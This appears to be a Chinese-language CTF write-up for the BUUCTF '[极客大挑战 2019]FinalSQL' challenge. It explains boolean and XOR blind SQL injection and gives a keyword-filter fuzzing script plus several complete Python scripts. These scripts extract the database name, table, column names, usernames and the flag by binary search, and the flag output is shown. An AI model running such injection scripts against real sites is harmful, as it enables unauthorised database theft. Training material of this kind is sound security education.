BUUCTF_WEB_[极客大挑战 2019]FinalSQL 题解

[极客大挑战 2019]FinalSQL

1.进入页面:

image-20230828094221524

发现题目提示有盲注

2.由于我们不知道正确的用户名和密码,所以我们不能通过用户名密码的输入来获取true和false页面的响应,因为在不知道正确的用户名和密码的情况下,无论如何返回的都是false界面,所以我们需要寻找其它的盲注注入点

3.根据题目提示选择神秘代码:
点击1:

image-20230828094621301

点击2:

image-20230828094644745

点击3:

image-20230828094710975

点击4:

image-20230828094729078

点击5:

image-20230828094752529

payload:

1
?id=6

image-20230828094924021

没有获得有用的信息,但是我们可以通过id这个注入点进行盲注

4.盲注原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
布尔盲注:
id=1 and 非0(true)
返回id=1的界面
id=1 and 0(flase)
返回id=0的界面

异或盲注:
id=1^0(false)=>1
返回id=1的界面
id=1^1(true)=>0
返回id=0的界面
使用异或盲注需要后面有判断语句返回true和false

空字符或盲注:
id='' or 非0(true)=>1
返回id=1的界面
id='' or 0(flase)=>0
返回id=0的界面

测试:

mysql中true表示1:

image-20230828100019926

mysql中false表示0:

image-20230828100110579

5.随便注入,查看当前页面过滤的内容:

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

# 进行fuzz注入
url = "http://3f8893c2-6eda-4113-bcfa-2b6188684bd7.node4.buuoj.cn:81/search.php?id="
# GET请求
for data in data_list:
r = requests.get(url+data)
# 使用time使请求能够拥有足够的时间去响应
time.sleep(0.04)
# 获取过滤网站响应信息
reponse_txt = "臭弟弟"
if (reponse_txt in r.text):
print("该网站过滤了{}".format(data))

# POST请求
# for d in data_list:
# payload = {
# "": d
# }
# r = requests.post(url=url, data=payload)
# reponse_txt = "臭弟弟"
# if (reponse_txt in r.text):
# print("该网站过滤了{}".format(data))

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
该网站过滤了length Length
该网站过滤了handler
该网站过滤了likeLiKe
该网站过滤了having
该网站过滤了limitLimIt
该网站过滤了insertinsERTINSERT
该网站过滤了!
该网站过滤了%
该网站过滤了ANDANd
该网站过滤了BYBy
该网站过滤了unionUNIonUNION
该网站过滤了||
该网站过滤了//*
该网站过滤了*/*
该网站过滤了/**/
该网站过滤了anandd
该网站过滤了HAVING
该网站过滤了IF
该网站过滤了INTO
该网站过滤了LIKE
该网站过滤了|
该网站过滤了UNION
该网站过滤了AND
该网站过滤了drop
该网站过滤了DROP
该网站过滤了rand()
该网站过滤了LIMIT
该网站过滤了by
该网站过滤了OUTFILE
该网站过滤了VARCHAR
该网站过滤了/*
该网站过滤了mid
该网站过滤了RLIKE
该网站过滤了sys schemma
该网站过滤了%0c
该网站过滤了@
该网站过滤了else%27%23%22%20

6.发现and被过滤,所以我们可以采用以下盲注:

1
2
3
4
5
6
7
8
9
10
11
异或盲注:
id=1^0(false)=>1
返回id=1的界面
id=1^1(true)=>0
返回id=0的界面

空字符或盲注:
id='' or 非0(true)=>1
返回id=1的界面
id='' or 0(flase)=>0
返回id=0的界面

测试:

返回id=1:

image-20230828140656279

返回id=0:

image-20230828140743288

使用异或盲注构造payload,由于过滤了limit,所以不能用普通的payload:

第一步:爆数据库名字的长度,由于length被过滤,所以我们采取暴力破解(规定查找长度为30)

第二步:爆数据库的名字

payload:

1
1^(ascii(substr(database(),{},1))>{})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
}

# 当前注入点的url传输格式:
# ?id=1'+and+length(database())%3D4+%23&Submit=Submit#

url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81//search.php?id='
n = 1
# 对数据库名字第n个字符进行暴力剖解
# payload:1' and ascii(substr(database(),n,1))>100
database_name = ""
database_lenth = 30 # 手动规定数据库名字长度
while n <= database_lenth:
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr(database()%2C{}%2C1))>{}+%23".format(n, tmp)

payload2 = "1^(ascii(substr(database(),{},1))>{})".format(n, tmp)
# print(begin,end,tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload2)
r = requests.get(url + payload2, )
# 判断该payload所返回的网页是true界面还是false界面
true_text = "ERROR"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
print(tmp)
print("该数据库的第%d个字符:%c" % (n, chr(tmp)))
database_name = database_name + chr(tmp)
# 对下一个字符进行判断
n = n + 1
print("该数据库的名字为:"+database_name)

输出:

1
该数据库的名字为:geek

第三步:直接爆表名,手动规定所有表名总长50:

由于limit被过滤,所以直接用GROUP_CONCAT()获取所有表名

payload:

1
?id=1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+0%2C1)%2C1%2C1))>102+%23&Submit=Submit#

url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id='
# table_len存储每张表的长度
table_len = [30, 30, 30, 30, 30, 30, 30, 30, 30, 30]
# table_name存储每张表的名字
table_name = []
# index存储现在处理的是第index+1张表
index = 0
# 由于获取的是所有表名总字符串,所以只要遍历一次即可
while (index < 1):
name = ""
# n表示当前处理的表所处理的是第n个字符
n = 1
while (n <= table_len[index]):
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(index, n, tmp)
payload2 = "1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})".format(n, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.get(url + payload2)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "ERROR"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
name = name + chr(tmp)
# 继续下一个字符
n = n + 1
# 存储该表的表名
table_name.append(name)
# 打印该表的表名
print("第{}张表的名字为{}".format(index+1, name))
# 继续下一个表
index = index + 1
print(table_name)

输出:

1
2
第1张表的名字为F1naI1y,
['F1naI1y, ']

所以得到只有表:F1naI1y

第四步:直接爆表的字段名,手动规定字段名总长50,使用GROUP_CONCAT()将该张表的所有字段名组合在一起

payload:

1
?id=1^(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D+'users'+limit+0%2C1)%2C1%2C1))%3D117+%23

url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id='

# table_col_num存储每张表每个字段所对应的长度
table_col_num = {'F1naI1y第1字段的长度': 50}
# table_name存储每张表的名字
table_name = ['F1naI1y']
# col_count存储每张表的字段数
# 将所有字段合在一起输出就是只有一个字段
col_count = {'F1naI1y': 1}
# table_col_name存储每张表的字段的名字
table_col_name = {}

table_num = len(table_name)
table_index = 0
# 先对表进行遍历,只有表F1naI1y
while (table_index < 1):
# 当前表的名字:table_name[table_index]
# col_num存储当前表的字段数
col_num = col_count[table_name[table_index]]
col_index = 0
# 对当前表的字段进行遍历,获取全部字段名,所以只有一个字段
while (col_index < 1):
# table_col_key存储当前表当前字段的key
key = "{}第{}字段的长度".format(table_name[table_index], col_index+1)
# col_len存储当前字段的长度
col_len = table_col_num[key]
# 遍历当前字段
col_len_index = 0
# name存储当前字段的名称
name = ""
while (col_len_index < col_len):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D+'{}'+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(table_name[table_index], col_index, col_len_index+1, tmp)
payload2 = "1^(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})".format(col_len_index+1, tmp)
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.get(url + payload2)
time.sleep(0.1)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "ERROR"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
name = name + chr(tmp)
# 继续下一个字符
col_len_index = col_len_index + 1
# 存储当前字段的名称:
key_name = "{}的第{}个字段的名字".format(table_name[table_index], col_index+1)
table_col_name[key_name] = name
print("{}:{}".format(key_name, name))
# 继续下一个字段
col_index = col_index + 1
# 继续下一张表
table_index = table_index + 1
print(table_col_name)

输出:

1
2
F1naI1y的第1个字段的名字:id,username,password
{'F1naI1y的第1个字段的名字': 'id,username,password '}

第五步:爆字段的数据:

爆username的数据:

payload:

1
?id=1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})

测试:

image-20230828134250862

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+user+from+dvwa.users+limit+0%2C1)%2C1%2C1))%3D110+%23

url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id='

# database_name存储数据库名字
database_name = "geek"
# table_name存储指定表的名字
table_name = "F1naI1y"
# col_name存储指定字段的名字
col_name = "username"
# col_data_num存储有多少列
# 手动指定要查看多少列数据,由于合在一起显示所以只有一列
col_data_num = 1
# col_data_charnum存储每个字段数据的字符个数
# 手动指定要查看多少字符数据
col_data_charnum = 100

rank_index = 0
# 先遍历该字段有多少列
while (rank_index < col_data_num):
rank_data_index = 0
# data用来字段该列的数据
data = ""
while (rank_data_index < col_data_charnum):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+{}+from+{}.{}+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(col_name, database_name, table_name, rank_index, rank_data_index+1, tmp)
payload2 = "1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})".format(col_name, table_name, rank_data_index+1, tmp)
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.get(url + payload2)
time.sleep(0.1)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "ERROR"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
data = data + chr(tmp)
# 继续下一个字符
rank_data_index = rank_data_index + 1
# 继续下一列
print("{}字段第{}列的值:{}".format(col_name, rank_index + 1, data))
rank_index = rank_index + 1

输出:

1
username字段第1列的值:mygod,welcome,site,site,site,site,Syc,finally,flag

发现有一个flag,猜测flag在username=flag所对应的字段password中

爆password字段的值,指定username=flag

payload:

1
?id=1^(ascii(substr((select(password)from({})where(username='flag')),{},1))>{})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+user+from+dvwa.users+limit+0%2C1)%2C1%2C1))%3D110+%23

url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id='

# database_name存储数据库名字
database_name = "geek"
# table_name存储指定表的名字
table_name = "F1naI1y"
# col_name存储指定字段的名字
col_name = "password"
# col_data_num存储有多少列
# 手动指定要查看多少列数据,由于合在一起显示所以只有一列
col_data_num = 1
# col_data_charnum存储每个字段数据的字符个数
# 手动指定要查看多少字符数据
col_data_charnum = 50

rank_index = 0
# 先遍历该字段有多少列
while (rank_index < col_data_num):
rank_data_index = 0
# data用来字段该列的数据
data = ""
while (rank_data_index < col_data_charnum):
# 用二分法对当前字段进行猜解
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+{}+from+{}.{}+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(col_name, database_name, table_name, rank_index, rank_data_index+1, tmp)
# payload2 = "1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})".format(col_name, table_name, rank_data_index+1, tmp)
payload3 = "1^(ascii(substr((select(password)from({})where(username='flag')),{},1))>{})".format(table_name, rank_data_index+1, tmp)
# print(table_name[table_index], col_index, col_len_index, tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload1 + str)
r = requests.get(url + payload3)
time.sleep(0.1)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "ERROR"
# print(r.text)
if (true_text in r.text):
# 返回true界面
# print("true")
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
data = data + chr(tmp)
# 继续下一个字符
rank_data_index = rank_data_index + 1
# 继续下一列
print("{}字段第{}列的值:{}".format(col_name, rank_index + 1, data))
rank_index = rank_index + 1

输出:

1
password字段第1列的值:flag{0ca992a6-fc81-43d7-8419-deba5dea5107}

flag = flag{0ca992a6-fc81-43d7-8419-deba5dea5107}


BUUCTF_WEB_[极客大挑战 2019]FinalSQL 题解
http://example.com/2023/08/28/2023-08-28-[极客大挑战 2019]FinalSQL/
作者
South
发布于
2023年8月28日
许可协议